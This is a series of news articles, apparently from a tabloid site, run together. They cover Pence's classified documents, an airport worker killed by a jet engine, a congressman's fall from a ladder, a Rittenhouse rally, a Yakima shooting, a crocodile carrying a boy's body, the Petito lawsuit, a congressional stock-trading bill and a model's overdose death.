The White House wouldn't weigh in on whether a special counsel should investigate Pence's findings.

'That's for the Department of Justice to decide,' said press secretary Karine Jean-Pierre on Tuesday.

Pence bought the home in Carmel for $1.93 million

The documents were discovered in Pence's home in Carmel, Indiana, after the former vice president repeatedly said he didn't have any classified material in his possession.

Pence told the AP in August that he did not take any classified information with him when he left office.

Asked directly if he had retained any such information, he said, 'No, not to my knowledge.'

The boxes originally went to a home the Pences had in Virginia and then went to the Indiana location after they purchased their residence there. Pence's Washington D.C. office also was searched but no classified material was discovered.

Pence and Karen Pence purchased the home for $1.93 million in May 2021. The 'picturesque' 10,300 square-foot home sits on a five-acre lot and has seven bedrooms, 7.5 bathrooms and an in-ground pool, according to the listing for the home on realtor.com.

The lower level of the house features a media room next to a 'beautiful' handcrafted bar, another large sitting area and an area for a pool table.

Also on the lower level of the home is a gym room with an accompanying full bath next to it.

Pictures of the home, built in 2008 according to the listing, also show the home has four garages, and a stone fireplace on the main floor.

The purchase came not long after Pence signed a $3 million to $4 million publishing contract with Simon & Schuster to author two books in early April.

The home is located in the city of Carmel, which was recently named the second wealthiest city in the Midwest, according to a study by personal finance site nerdwallet.com

The spacious study with wood paneling and a fireplace in Pence's home

The lower level of the house features a media room next to a 'beautiful' handcrafted bar, another large sitting area, the listing for the home said

The finding of classified material raises questions on how the government handles classified material and the packing up of administration officials after a presidency ends.

Republican Rep. Michael Waltz of Florida told Fox News that the transition process 'is broken.'

'But I think the difference with Biden here is just how long this goes back,' he added.

And Republican Senator Lindsey Graham of South Carolina told Fox that 'when it's all said and done maybe we are overclassifying things, that may be part of the problem. But count me in for getting this fixed.'

Pence and many other Republicans had accused the Justice Department of a double standard in how they handled Biden's case versus classified documents in Trump's possession.

Pence, in the past, denied having classified material in his possession.

'I did not,' he told ABC News in November when asked if he took any classified documents with him when he left the Trump administration.

This was shortly after Donald Trump's Mar-a-Lago mansion was searched by FBI agents who were seeking classified material from his administration.

'Well, there'd be no reason to have classified documents, particularly if they were in an unprotected area,' Pence said at the time. 'But I will tell you that I believe there had to be many better ways to resolve that issue than executing a search warrant at the personal residence of a former president of the United States.'

Former President Donald Trump, who is under investigation for keeping classified documents at his home in Mar-a-Lago, is defending his former VP, Mike Pence after documents were found in his home last week

After ignoring requests to turn over presidential records, the Department of Justice authorized a warrant for former President Donald Trump's Mar-a-Lago club in Palm Beach, Florida. As a result of the search, a Special Counsel to oversee the probe was appointed.

A photo of documents seized during the Aug. 8 FBI search of former President Donald Trump's Mar-a-Lago estate. The probe into the presence of top-secret information at Mar-a-Lago continues.

The discovery of documents in Pence's possession comes after he criticized President Biden for having classified material.

Pence called it 'troubling' and accused federal agencies of having a 'double standard' when it came to handling Biden's situation and Trump's possession of classified documents.

He told Howard Hewitt a few weeks ago that the FBI was guilty of a 'massive overreach' in its raid on Trump's home.

'But having now created that standard and now abandoned that standard when the current president of the United States is found to have had classified documents in his possession after leaving office, I have no words right now,' he said, comparing their treatment between Trump and Biden.

The National Archives had requested material from Trump. All presidents turn over the documents to the federal government at the end of their tenure. Trump eventually handed over 15 boxes. The archives found classified material in them and, suspecting Trump hadn't handed everything over, turned to the Justice Department, which ultimately got a federal warrant to search the property.

Ultimately Trump was found to have hundreds of documents with classified documents in his possession.

President Joe Biden's handling of classified information is currently under review by a special counsel appointed by the Department of Justice.

In total, there have been five discoveries of classified materials in Biden's possession: at the Penn-Biden Center, a think tank in Washington, D.C.; in Biden's garage at his Wilmington, Del., home; one document discovered in his 'personal library' in the same home; four more documents found in his home; and then another six found when the Justice Department did another search of his Wilmington residence.

Biden turned over his documents when his lawyers found them and voluntarily gave the FBI access to his Wilmington, Delaware, home, to search for more. Those agents found six more classified documents on Friday after a 13-hour search of the home.

Ultimately, Attorney General Merrick Garland appointed a special counsel to look into both Trump and Biden.

Earlier this month Pence described to Fox Business how classified materials were handled when he was vice president.

'Early in the morning, I received a presidential daily brief at the vice president's residence,' he said.

'I'd rise early. I'd go to the safe where my military aide would place those classified materials. I'd pull them out, review them. I'd receive a presentation (on) them and then, frankly, more often than notI would simply return them back to the file that I'd received them in. They went in commonly into what was called a burn bag that my military aide would gather and then destroy those classified materialssame goes in materials that I would receive at the White House.'

He went on to add: 'The handling of classified materials and the nation's secret is a very serious matter and as a former vice president of the United States, I can speak from personal experience about the attention that ought to be paid to those materials when you're in office and after you leave office. And clearly that did not take place in this case.'
The airline worker who died after being so violently sucked into the engine of a recently landed plane it shook the entire aircraft was a mother-of-three and had been repeatedly warned to stay back.

The tragedy occurred on New Year's Eve at Montgomery Regional Airport in Alabama. The victim was later identified as 34-year-old Courtney Edwards, who worked as a ground agent for Piedmont Airlines.

The initial report from the National Transport Safety Board stated that Edwards was killed after getting too close to the engine of an American Eagle-operated Embraer E175 jet.

The report notes that Edwards failed to heed multiple warnings to stay back from the engines while the plane was shutting down.

The 59 passengers on board the flight from Dallas and four crew members were not injured.

A GoFundMe page that has been set for members of Courtney Edwards' family has raised nearly $100,000

The report says the surveillance video shows a violation of protocol in which Edwards did not keep a safe distance until the airplane's rotating beacon light shuts off

Edwards is survived by her three children and her mother, according to a GoFundMe page that has been set up to help her family financially. At the time or writing, the campaign has raised close to $100,000.

According to the report, upon landing, the captain began the process of shutting down the engines before receiving a warning that the plane's front cargo door was open.

The co-pilot alerted workers on the ground to let them know the engines were still on.

One section of the report reads: 'Immediately thereafter, he saw a warning light illuminate and the airplane shook violently followed by the immediate automatic shutdown of the number 1 engine.

'Unsure of what had occurred, he extinguished the emergency lights and shut off both batteries before leaving the flight deck to investigate'.

The report says there is video that shows Edwards walking in front of the first engine on the left of the plane. It reads: 'She was subsequently pulled off her feet and into the operating engine.'

One of Edwards' colleagues told investigators he saw her 'almost fall over from the engine's exhaust while he attempted to alert her to stay back and wait for the engines to be shut down'.

An obituary for Edwards mentions that she is survived by her three children

One section of the GoFundMe page reads: 'Please know that this tragedy has and will affect her mother, family, friends and kids for years to come'

As a result of the accident, Montgomery Regional Airport was shut down

The report cites the American Eagle Ground Operations Manual which tells workers not approach the front of a running jet engine and to keep a safe distance of at least 15 feet, known as the 'ingestion zone'

Another said he attempted to warn her that the engine was still on, and as he was in the process of doing this he heard a 'bang'.

The ground crew said they had two meetings about safety prior to the plane landing and all members knew the engines would remain on until ground power was connected as the plane does not have auxiliary power.

One member of the crew said it was 'discussed that the airplane should not be approached'.

The report says the surveillance video shows a violation of protocol in which Edwards did not keep at a safe distance until the airplane's rotating beacon light shut off.

It reads: 'Throughout the course of the accident, the airplanes upper rotating beacon light appeared to be illuminated'.

The report cites the American Eagle Ground Operations Manual which tells workers not approach the front of a running jet engine and to keep a safe distance of at least 15 feet, known as the 'ingestion zone.'

The manual says: 'Jet engines spin with powerful speed and are extremely dangerous until spooled down. The area in front of the engine is called the ingestion zone. The ingestion zone for all aircraft types is 15 feet. You must never enter the ingestion zone until the engine has spooled down.'

It's not clear when the full and final report will be published.

Speaking about Edwards' death, a co-worker Divonta Palmer, told WSFA: 'I cant wrap my mind around how did this happen. She would tell me that she was always dedicated and motivated to do the best job and put the best foot forward.'

Palmer also said the incident should to act as a wake-up call for ground crews regarding safety.

The GoFundMe page was set up for Edwards by local union rep, Donielle Prophete. On the fundraising page, Prophete wrote: 'Please know that this tragedy has and will affect her mother, family, friends and kids for years to come.'

Edwards was from the town of Niceville, Florida, close to the border with Alabama. She moved to Alabama in 2013.

According to Popular Mechanics, there have been 33 reports of people being ingested by Boeing engines over the last forty years. The website referred to death by ingestion as 'uncommon' but not 'unprecedented.'
Republican Rep. Greg Steube revealed Monday night that he fractured his pelvis after falling 25 feet from a ladder last week at his Florida home.

'I am blessed to have a great support team in my wife Jennifer as well as numerous friends and family, including the Steube pups!' the Florida congressman tweeted. 'Grateful for everyone's prayers and well-wishes as I recover from a fractured pelvis, a punctured lung, and several torn ligaments in my neck.'

He included with the tweet a picture of himself resting at home - with two of his dogs on his lap and another peeking at him from the floor - with his neck brace clearly visible.

'While I will be sidelined in Sarasota for several weeks, I will be carrying out as many of my congressional duties as possible, and our DC and district staff continue to be readily available to assist Floridians in FL-17,' he added. 'I'm eager to rejoin my colleagues in Washington as soon as possible!'

Republican Rep. Greg Steube tweeted a picture Monday night that showed him resting on the couch with his two dogs - and another in the background - where a neck brace is clearly visible

Steube revealed that he suffered a fractured pelvis, a punctured lung and several torn ligaments in his neck when he fell 25 feet from a ladder last week, while 'cutting tree limbs'

On January 18, Steube fell off the ladder while 'cutting tree limbs,' his office said.

He spent the night in the intensive care unit but his office deemed his injuries 'not life threatening at this time.'

House Speaker Kevin McCarthy said he talked with Steube and his wife Jen the day after the accident.

McCarthy said he informed Steube that he would serve on the House Republicans new Select Subcommittee on the Weaponization of the Federal Government, adding, 'he is eager to get back to work!'

Steube tweeted that he expected to be absent from Washington for several weeks as he recovers from his injuries. The new House Republican majority did away with proxy voting and allowing members to participate in committee hearings over Zoom

But Steube will be sidelined from voting on any issues while recovering from his injuries at his Florida home.

The new Republican majority did away with proxy voting as part of the rules package the body passed after the dramatic speakership race, which McCarthy eventually won.

Proxy voting was put in place by the Democrats under House Speaker Nancy Pelosi during the beginning of the COVID-19 pandemic to cut down on foot traffic to the House floor and also allow sick or exposed members to continue to vote and participate in committee hearings using Zoom.

Now both of those options are gone.

House Republicans responded to their base, voters who are largely against COVID-19 safety protocols, by doing away with any work-from-home options for members of Congress.
Kyle Rittenhouse has taken to social media to plead for his followers to attend his censorship rally as he breaks his silence following a row with a former venue.

The acquitted Kenosha killer, 20, broke his silence on Tuesday after Southern Star Brewing in Conroe, Texas, and Venetian Resort in Las Vegas canceled the censorship event at their venues.

Rittenhouse, who in August 2020 shot and killed two Black Lives Matter protesters when he was 17-years-old, claimed the two companies 'bent to the woke mob' by choosing to cancel the event.

The January 26 event will now be held at the Lone Star Convention Center on the Montgomery County Fairgrounds.

'Hey guys, don't forget to mark your calendars for January 26th, it's coming up this week. This week we'll be doing an event in Conroe, talking about censorship,' he said in a video posted by the event organizer Defiance Press & Publishing LLC's Facebook page.

'It's going to be great, I'm super excited,' he said while wearing a 'Take Back America' t-shirt.

While wearing a 'Take Back America' t-shirt, Kyle Rittenhouse, 20, begged his fans to attend his censorship event, where he will be speaking. 'Hey guys, don't forget to mark your calendars for January 26th, it's coming up this week. This week we'll be doing an event in Conroe, talking about censorship,' he said. 'It's going to be great, I'm super excited'

Rittenhouse (pictured on the ground) became a celebrity among the right after he was acquitted in November 2021 of all of the murder charges related to the deaths of Joseph Rosenbaum of Kenosha and Anthony Huber of Silver Lake

Rittenhouse will be speaking at the event, alongside a former Navy Seal, authors, journalists, and attorneys, among others.

The organizers said they were 'excited to welcome Kyle Rittenhouse to Conroe for a massive anti-censorship rally,' according to The Sun.

The event has certainly not started off on the easiest foot, after Southern Star Brewing announced on January 13 that it would no longer be sponsoring the event, writing on Twitter: 'No more. Southern Star Brewery is an apolitical organization, but we feel that this event doesn't reflect our own values and we could not in good faith continue to rent our space for the event on 1/26.

'We don't do rallies, we make beer for people who like beer.'

Rittenhouse retaliated by saying on the America First podcast that 'I tried to promote it to get people to come and hear about censorship and the Second Amendment - and they didn't like that they bent to the woke mob and said we're cancelling this event.

'They said they are apolitical, but after doing a dive into their social media, they've hosted Pride parades, they've had political events there. It's just because of my name and they're just being unfair and biased,' he said on the podcast.

Following the cancellation, the brewery said it had been deluged with harassment and some threats.

'It's been kind of a s***storm,' Southern Star Brewery CEO Dave Fougeron told KBTX. 'But now I'm more certain than ever that I made the right decision.'

Fougeron said the abuse levelled at the brewery was unwarranted as it prided itself of being welcoming to all.

It is the first time Rittenhouse has spoken out since criticizing Southern Star Brewery (pictured) for canceling the event at their establishment. Rittenhouse claimed the company canceled because it caved to the 'woke mob'

It released two statements earlier this month announcing the cancelations and responding to Rittenhouse's theories that it caved under pressure. 'We also would like to clarify that this decision was our alone...' it wrote

'Our place is super inclusive,' he said. 'We are super pro-veteran, super pro-law enforcement. We're trying to be good people in the community.

'We're friends with our firefighters, with our police department. We have a lot of gay patrons who come in because it's a place of inclusivity. It's crazy that we're getting threats from people.'

In a second statement posted to Twitter, the company wrote: 'We also would like to clarify that this decision was ours alone and we fully stand by it. No retailers or other outside force pressured us to make this decision.

'We just want to make beer for all.'

The event will now be at the Lone Star Convention Center (pictured) at the fairgrounds

In November of 2021, Rittenhouse was acquitted on murder charges related to the deaths of Joseph Rosenbaum of Kenosha and Anthony Huber of Silver Lake. The shooting occurred amid nights of violent protests in the city following the non-fatal shooting by police of black domestic abuser Jacob Blake.

The teenager had also been charged with shooting Gaige Grosskreutz.

After being found not guilty by a jury, Rittenhouse became a celebrity among the political right as a Second Amendment advocate.

Rittenhouse was invited on right-leaning television programs and stations, and even had the chance to meet former President Donald Trump.
Three people in Washington state were shot dead at a convenience store in the early hours of Tuesday, with the gunman later killing himself.

Jarid Haddock, 21, attacked the Circle K store in Yakima, 110 miles east of Seattle, at 3.30am.

He then fled, shooting his own car door to gain entry as the keys were left inside, and driving away.

Haddock took a woman's phone and called his mother, telling her: 'I killed those people,' NBC reported.

He stopped by her house, then left and barricaded himself inside a marijuana store and, surrounded by a SWAT team, shot himself dead.

It is the latest horrifying gun attack to rock the blood-soaked country this week after back-to-back mass shootings in California, which left 18 victims dead.

Jarid Haddock, 21, was identified by police as the suspect after the attack at the Circle K store in Yakima, about 110 miles southeast of Seattle, at 3.30am Tuesday. Photos released by the police department showed the suspect inside the store brandishing a handgun

The police department released a photo on social media of a man wearing all black, including a hat, hoodie and jeans, and white Nike shoes

A SWAT MRAP (Mine-Resistant Ambush Protected) vehicle and YPD Bearcat vehicle drive toward the house during the standoff on Tuesday

US Senator Patty Murray, a Democrat representing Washington state, released a statement following the shooting in Yakima, claiming that the country was gripped by a 'gun violence epidemic.'

'This is heartbreaking and infuriating. Gun violence is an epidemicit's happening in every community. My heart is with the Yakima community, but thoughts and prayers aren't enough.

'If we're serious about tackling violent crime, we need strong federal gun safety laws.'

Congressman Dan Newhouse, who represents Washington, said: 'My thoughts and prayers are with the families of the victims of this horrific tragedy.'

Yakima Police, SWAT teams, the sheriff's office, and the fire department were called to the marijuana store on the 3400 block of Birchfield Road.

One of the police cars was heard playing a message playing over its loudspeaker asking the suspect to come outside, and warning that force will be used if they refused.

An armored SWAT vehicle outside the property on West Birchfield Road in Yakima on Tuesday

The suspect's mother has been assisting authorities posted outside the property (pictured)

A Yakima firefighter washes blood off the ground following the shooting at a Circle K convenience store

Yakima Police Chief Matthew Murray told reporters earlier: 'It appears to be a random situation. There was no apparent conflict between the parties. The male just walked in and started shooting.'

Yakima Police said the suspect initially pulled into the ARCO gas station and 'tried to get into the lobby,' but the doors were locked.

'He then walked across the street to the Circle K,' Murray said.

'As he's walking into the store he pulls out his gun and there are two people getting food and he shoots them.'

Both people died.

The suspect then left the store, shooting at another person who was also killed.

One of the three shooting victims was a male, according to the Yakima County Coroner's Office.

The Circle K store near E Nob Hill Boulevard and S 18th Street in Yakima, about 110 miles southeast of Seattle

The police department released a photo of Haddock wearing all black and brandishing a gun inside the Circle K. The suspect wore a beanie, hoodie and jeans, and white Nike shoes.

According to court papers, Haddock has charges dating back to 2020 for theft of a motor vehicle, possession of a stolen vehicle, and obstruction.

He was stopped in a stolen car while it was warming up.

Haddock tried to flee the scene but was detained.

The documents show he completed a diversion program and the case was dropped.

Yakima is a city of about 97,000 residents in Washington's Yakima Valley, an agricultural region known for apple crops and wineries.

The shooting in Washington comes after four shootings in just eight days in California that have left 26 people dead.

There have been more mass shootings in the U.S. than days this year.

Within the first 24 days of this year, 70 people have been killed and 167 injured in 39 mass shootings, according to the Gun Violence Archive, an institute tracking shootings in the country.

At this time last year, America had seen 27 mass shootings, according to the Archive, which defines a mass shooting as an incident where at least four people are shot and injured or killed.

In California, just two days after gunman Huu Can Tran killed 11 people at a ballroom dance hall, seven more victims were shot dead in an agricultural area near San Francisco on Monday.

California Governor Gavin Newsom said he was visiting wounded survivors from Saturday night's massacre in the Los Angeles suburb of Monterey Park when he was informed of Monday's killings in northern California.

'Tragedy upon tragedy,' Newsom wrote on Twitter.

In another incident, one person died and seven were injured in Oakland, near San Francisco, California, on Monday in a shooting between several individuals, Oakland Police Department reported.

Eight days earlier, six people, including a 17-year-old mother and her ten-month-old son - were killed in a shooting at a home in Goshen, California.
The reptile dropped Muhammad off at a boat on the Mahakam River in Borneo

A 10-foot crocodile swam nearly 700 feet carrying the boy's body on its back

Muhammad Ziyad Wijaya, 4, went missing in East Kalimantan two days before

This is the extraordinary moment a crocodile carries the intact body of a four-year-old boy to rescuers a mile away from where he drowned in a river in Indonesia.

The boy  named locally as Muhammad Ziyad Wijaya  had gone missing two days before near the Jawa Estuary in the province of East Kalimantan.

Startling footage from the Mahakam River in Borneo shows the giant croc swimming through the water carrying the youngster on its back.

Baffled fishermen spotted the 10-foot reptile as it swam nearly 700 feet across the estuary bay towards a boat.

The boy  named locally as Muhammad Ziyad Wijaya (left)  had gone missing two days earlier near the Jawa Estuary in the province of East Kalimantan

The reptile  normally one of nature's most ruthless killers  dropped the boy by a boat, where two men are seen pulling the body aboard.

It meant that the family could be reunited with their son.

Local media reported there were no bite marks on the body.

Members of the East Kalimantan Search and Rescue Agency received information that a crocodile was carrying the child they had been looking for.

Melkanius Kotta, leader of the team, said: 'We think the crocodile actually aided in the search for the victim.

'Nothing is missing. Everything is intact.'

An unnamed bystander filmed the incredible moment as two men inside the boat then took the dead child.

Afterwards, the crocodile disappeared beneath the surface of the water.

It is now yet known what caused Muhammad to drown or if the estuary's crocodiles had anything to do with his death.

Initial observations allegedly show that the little boy had accidentally fallen into the river while playing.

This is the extraordinary moment a crocodile carries the intact body of a four-year-old boy to rescuers a mile away from where he drowned in a river in Indonesia

The reptile  normally one of nature's most ruthless killers  dropped the boy by a boat, where two men are seen pulling the body aboard

The boy's body did not have any bite marks after the crocodile had carried him along the river

The crocodile's 700-foot swim enabled Muhammad's family to recover his body

After the footage gained widespread online attention, many viewers online speculated that the crocodile intentionally delivered Muhammad due to compassion and instinct.

Crocodiles kill an average of around 1,000 people a year but do not generally set out to hunt humans.

According to ResearchGate, there were 221 crocodile attacks in Borneo between 2007 and 2016, resulting in 129 deaths.

Sarawak and East Kalimantan had the highest numbers of reported attacks.

In February last year a man was eaten alive by a crocodile while bathing in an Indonesian river.

Luther, 51, was bathing in the water in the North Kalimantan province when a 13-foot crocodile dragged him underwater as his friends tried to scare the animal away.

Three species of crocodile are known to inhabit Borneo  the Saltwater crocodile, Siamese crocodile and the Tomistoma.
The parents of Gabby Petito are suing the Laundries and the lawyer

Brian Laundrie's former attorney Steve Bertolino has been added to the lawsuit

A Florida judge has approved a request to add Brain Laundrie's former attorney Steve Bertolino to a lawsuit against his parents brought by the family of Gabby Petito.

Joseph Petito and Nichole Schmidt initially filed the lawsuit against Christopher and Roberta Laundrie earlier this year - claiming the couple knew that their son murdered Gabby and refusing to tell them the location of her remains.

Their lawsuit also accused the Laundries of trying to arrange a way for their son to flee the county, as well as accusing lawyer Bertolino of knowing Gabby was dead when he made a statement about the search for her.

Petito, 22, was strangled on a road trip with Laundrie in Wyoming in the summer of 2021.

A Florida judge has approved a request to add Brain Laundrie's former attorney Steve Bertolino to a lawsuit against his parents brought by the family of Gabby Petito

Joseph Petito and Nichole Schmidt (pictured) originally filed the lawsuit against Chiropter and Roberta Laundrie earlier this year - claiming the couple knew that their son murdered Gabby and refusing to tell them the location of her remains

Her boyfriend, Laundrie, shot himself in the head a month after her body was discovered in the Bridger-Teton National Forest.

On September 14, 2021, Bertolino issued a statement on behalf of Laundrie's parents to the media  at a time Gabby's parents say they knew Laundrie had killed her.

Bertolino said the Laundrie family hoped 'the search for Miss Petito is successful and that Miss Petito is reunited with her family.'

Judge Danielle Brewer granted the motion to amend the lawsuit and allow Bertolino to be added as a defendant.

Pat Reilly, who is representing Petito and Schmidt, says that the statement made by Bertolino is 'outrageous'.

After the hearing, he added: 'The decision was not unexpected. This incident, like all others, will work out in the end. One way or the other.'

Chris Laundrie was seen outside of his home yesterday after the court hearing took place

On September 14, 2021, Bertolino issued a statement on behalf of Laundrie's parents to the media  at a time Gabby's parents say they knew Laundrie had killed her

Petito's family has long alleged that Laundrie's family they knew their son killed their daughter after he returned to their Florida home alone - and tried to help him flee authorities

Lawyers for the Laundries argued that the amendment should be dismissed, which ultimately failed.

Arguing at a previous hearing, the Laundrie's current attorney Matthew Luka said: 'Pitting the Laundries and Mr. Bertolino as co-defendants undoubtedly creates a conflict because both have an interest in defending themselves to the potential detriment of the other.

'It invades the relationship between attorney and client which is a foundational principle of our legal system.'

The original lawsuit alleged that Laundrie's parents were aware that their son had killed Petito and were not being forthcoming.

A statement released last month by Petito's parents said: 'When they did choose to speak, it was through statements issued by Steven Bertolino.'

Judge Danielle Brewer granted the motion to amend the lawsuit and allow Bertolino to be added as a defendant

Laundrie's parents (pictured) had opposed their son's former lawyer being added to the lawsuit

Gabby Petito, 22, was strangled on a road trip with her boyfriend Brian Laundrie in Wyoming 2021

Steve Bertolino said earlier this year that Christopher and Roberts Laundrie (pictured at their Florida home in September 2021) 'did everything the right way, and they have no regrets'

It continued: 'It is believed that at the time the September 14, 2021 statement was issued, the Laundries and Steven Bertolino knew that Gabby Petito was deceased, and that under those circumstances, the statement was insensitive, cold-hearted and outrageous.'

Laundrie left his parent's home on September 13, and his remains were found in Myakkahatchee Creek Environmental Park in October  after weeks of futile searches in a temporarily flooded park.

Police found him after water levels receded, along with a handwritten confession and a revolver.

Last year the families came to a $3million settlement in the Petito family's wrongful death lawsuit against Brian Laundrie's estate.

Gabby's family has also filed a $50 million wrongful death lawsuit against the Moab Police Department, alleging that officers failed to properly handle a 911 call after a witness claimed he saw Brian hitting Gabby and trying to steal her phone just weeks before her death.

The lawsuit names the department, two officers who responded to the call and two former leaders.
Missouri Sen. Josh Hawley reintroduced a bill to ban members of Congress and their spouses from owning and trading stocks, and used the name of his legislation to troll former Speaker Nancy Pelosi.

The Preventing Elected Leaders from Owning Securities and Investments (PELOSI) Act would give members and their spouses six months after first assuming office to divest any holdings or put them in a blind trust - mutual funds, exchange-traded funds and Treasury bonds would still be allowed.

Any members found in violation of the bill would have to 'return their profits to American taxpayers.'

Two years after the bill was signed the Government Accountability Office (GAO) would conduct an audit of members' compliance.

Missouri Sen. Josh Hawley reintroduced a bill to ban members of Congress and their spouses from owning and trading stocks, and used the name of his legislation to troll former Speaker Nancy Pelosi.

'Members of Congress and their spouses shouldn't be using their position to get rich on the stock market,' Hawley tweeted as he announced the bill.

Also on Tuesday Hawley announced he would introduce legislation likely to be less popular with the American public - a bill that would ban TikTok nationwide.

The GOP senator previously introduced stock ban legislation under a different name last Congress.

Pelosi came under fire for her husband Paul's prolific stock trading throughout her time leading Democrats in the House. In July Paul unscrupulously purchased $5 million in semiconductor chip stock days before a House vote that handed $52 billion to semiconductor producers. He sold the shares at a loss to avoid 'misinformation' - or the appearance of a conflict of interest.

The Pelosis have a combined net worth of around $46 million.

The former speaker has long maintained that she doesn't discuss stocks with her husband. But video footage from Pelosi's daughter's documentary on the former speaker highlighted just how often Paul is in the room while Pelosi is conducting business by phone.

Former Speaker Nancy Pelosi has long maintained that she doesn't discuss stocks with her husband

Banning congressional stock trades has bipartisan support on Capitol Hill - last Congress there were a number of bills introduced in both the House and Senate.

Many Americans had hoped to see stock ban legislation last Congress after reports revealed hundreds of lawmakers regularly trade stocks directly related to their work in Congress.

In September Pelosi backed a bill to ban congressional stock trades that some government reform advocates said didn't go far enough. The legislation never went anywhere for the rest of her speakership.

Nearly 100 House members bought or sold financial assets that intersected with the work of the committees they sit on, according to a New York Times report from September.

Of the 435 House members, 183 traded stocks through themselves or their immediate family members from 2019 to 2021. At least 97 bought or sold stocks, bonds or other financial assets through themselves or their spouses that directly intersected with their congressional work.

The trades that intersect with committee work are split evenly on partisan lines - 49 Republicans and 48 Democrats.

Since 2012, Congress members have been bound by the STOCK Act which requires they report stock transactions of $1,000 or more by themselves or their family members within 45 days. Members of Congress are also supposed to be confined by insider trading laws.
According to police, Jeremy was discovered 'unconscious' in the bathroom of his friend's midtown Manhattan apartment Saturday morning

The 27-year-old model had struggled with addiction to the painkiller Percocet and other prescription drugs, and had gone to rehab in the past, his dad said

Speaking to DailyMail.com from his Waldwick, New Jersey, home Tuesday, Achim Ruehlemann revealed his son Jeremy likely died of an accidental drug overdose

Model Jeremy Ruehlemann died from an accidental drug overdose on Saturday after a years-long addiction to prescription pills, DailyMail.com has learned.

The 27-year-old's father Achim Ruehlemann has confirmed his cause of death in an exclusive interview with DailyMail.com, a day after his son's passing was announced on social media.

Speaking from his home in Waldwick, New Jersey, on Tuesday, the bereaved dad revealed Jeremy had struggled with addiction to the painkiller Percocet and other prescription drugs, and had gone to rehab in the past.

'He did rehab and had tried to get off prescription medication,' the father said, his face pale and eyes sunken from a lack of sleep since his son's death.

'Obviously, he was not successful.'

Model Jeremy Ruehlemann is believed to have died of an accidental drug overdose, his grieving dad told DailyMail.com Tuesday

The 27-year-old model had struggled with addiction to the painkiller Percocet and other prescription drugs, and had gone to rehab in the past, his father Achim (right) said

Ruehlemann, 59, however, did note that they are not '100 per cent sure exactly what happened' as they are still awaiting the results of the toxicology tests, but described the death as a tragic accident.

'There was no desire to end his life, this was accidental,' he said. 'Obviously, he had some issues with drug addiction, but he was very happy. He loved life. He was very vibrant, a wonderful soul and a very giving guy.

'You could see what people are saying about him on social media,' the grieving father continued, highlighting one Instagram post from fashion designer Christian Siriano who considered Jeremy to be his muse.

'Siriano gave a very nice tribute,' said the father, who works in manufacturing cosmetics.

'I don't know if there's anybody who could say anything negative about him. It's just a tragedy.'

The elder Ruehlemann described his son's death as a tragic accident, saying his son was 'happy' and had 'no desire to end his life.' He is pictured above with his brother Sean and their mother

The fashion model (pictured with his mom and sibling as a young child) had been living with his mother for the past year in upstate New York and working as a bartender at a restaurant in Woodstock

He shared the heartwarming childhood photo on Mother's Day last year

In a statement to DailyMail.com, the NYPD confirmed the younger Ruehlemann was discovered at his friend's midtown Manhattan apartment after police received a 911 call at 9:50am on Saturday about an 'unconscious male'.

Officers arrived to find the 27-year-old 'unconscious and unresponsive' in the bathroom and he was pronounced dead at the scene. The Medical Examiner's Office is investigating the cause of death.

The friend, a young man, wiped tears from his eyes when approached by DailyMail.com.

'He was one of my best friends,' he said. 'Despite everything that happened, he was happy.'

A funeral service for Ruehlemann will be held Saturday at Burnett & White Funeral Home in upstate Red Hook, New York. His wake will be on Friday, his family said.

The fashion model had been living with his mother for the past year in upstate New York and working as a bartender at a restaurant in Woodstock.

He'd often travel into the city for modeling jobs, staying with a brother or friend.

His final Instagram post last week was a behind-the-scenes picture from a photo shoot with the Tommy Hilfiger brand, captioned, 'BTS with Tommy.'

Jeremy had studied psychology at Rowan University, in his native New Jersey, but left before graduating in 2017 for a career in modeling.

The rising star's father described his son as an avid reader who loved hiking and the outdoors.

One of his son's greatest passions, he noted, was working as a counselor at Camp Omega, a sleepaway camp in upstate New York where Jeremy enjoying helping campers experiencing emotional difficulties.

The teen camp, now called Odyssey, has since relocated to the Berkshires in Massachusetts.

Jason Kanner with Soul Artist Management confirmed the model's death on social media on Monday

Fashion designer Christian Siriano, who considered Ruehlemann to be his muse, shared a touching post on Instagram on Sunday

'He was there at 17 as a camper, then he came back each year as a counselor up until two years ago,' the elder Ruehlemann told DailyMail.com.

'He loved being there helping kids. He was very well liked, very respected, and he made a difference in a lot of young lives. There were a lot of kids who came to the camp with issues about their sexual orientation.

'He helped them open up and understand their situation, whether it was sexual orientation, whatever it was. He brought a little lightheartedness to help campers see their situation is not unique.'

Ruehlemann has been dating a woman recently but was not in a committed relationship, according to his father.

Jason Kanner with Soul Artist Management confirmed his death on his social media accounts on Monday.

'It is with great sadness and a heavy heart that I let you all know that Jeremy Ruehlemann has passed away,' he wrote alongside several professional shots of the model.

'Jeremy was authentically himself. Salt of the earth. There was just something about him that made you root for him,' Kanner continued.

Siriano's touching post on Instagram was a series of photos of Ruehlemann's modeling moments as well as some of Siriano and Ruehlemann together.

His last Instagram post was a behind-the-scenes shot from what appeared to be a photo shoot with the Tommy Hilfiger brand. He previously worked as a camp counselor and studied psychology in school before leaving in 2017 for a career in modeling

He has since walked in of Siriano's shows, and has modeled for brands Superdry, John Varvatos, Joseph Abboud, Macys, Zara, Nick Graham and Atelier Cillian

Ruehlemann, who appeared in GQ and Playhaus Magazine, was represented by Soul Artist Management. He is pictured walking in the Nick Graham S/S 2019 Collection during NYFW Men's July 2018 at Cadillac House

'I have never posted anything like this but to lose a friend who was such a beautiful soul is just really hard,' Siriano captioned the post. 'This is for Jeremy, the most beautiful man that gave so much love to everyone he met no matter what.'

He wrote that Ruehlemann was 'one of my muses and he always will be. He inspired me and I will love him forever.'

Siriano continued: 'I'm sending all my love to his family and friends who lost someone so special. I know we will meet again one day but right now I just want to hug him. Rest well J we all love you so much! Send love to his family today please.'

Ruehlemann was represented by Soul Artist Management, as well as Next Models London and Miami branches, Core Hamburg, IMM Brussels and The Mgmt in Sydney, according to Footwear News.

Tributes to the model poured out on social media since the news of his death.

Celebrity makeup artist Hung Vanngo mourned Ruehlemann's death on Instagram, writing that he was heartbroken by the news.

'He made such a large impact on everyone he met,' he wrote.

'In this industry you meet a lot of people, but he was one of those people that even if you met him once he would have a part of your heart forever. My Team and I love and cherish the time we had working with him. A true friend, you will be loved and remembered forever. RIP Jeremy.'

Halston Creative Director Ken Downing wrote: 'Goodbye Sweet Jeremy. R. I. P. Jeremy Ruehlemann. Love to your family who you adored, as much as they love and adored you. I am heartbroken.'
The family of a student who died from alcohol poisoning while pledging a fraternity were awarded a nearly $3million settlement from Bowling Green State University.

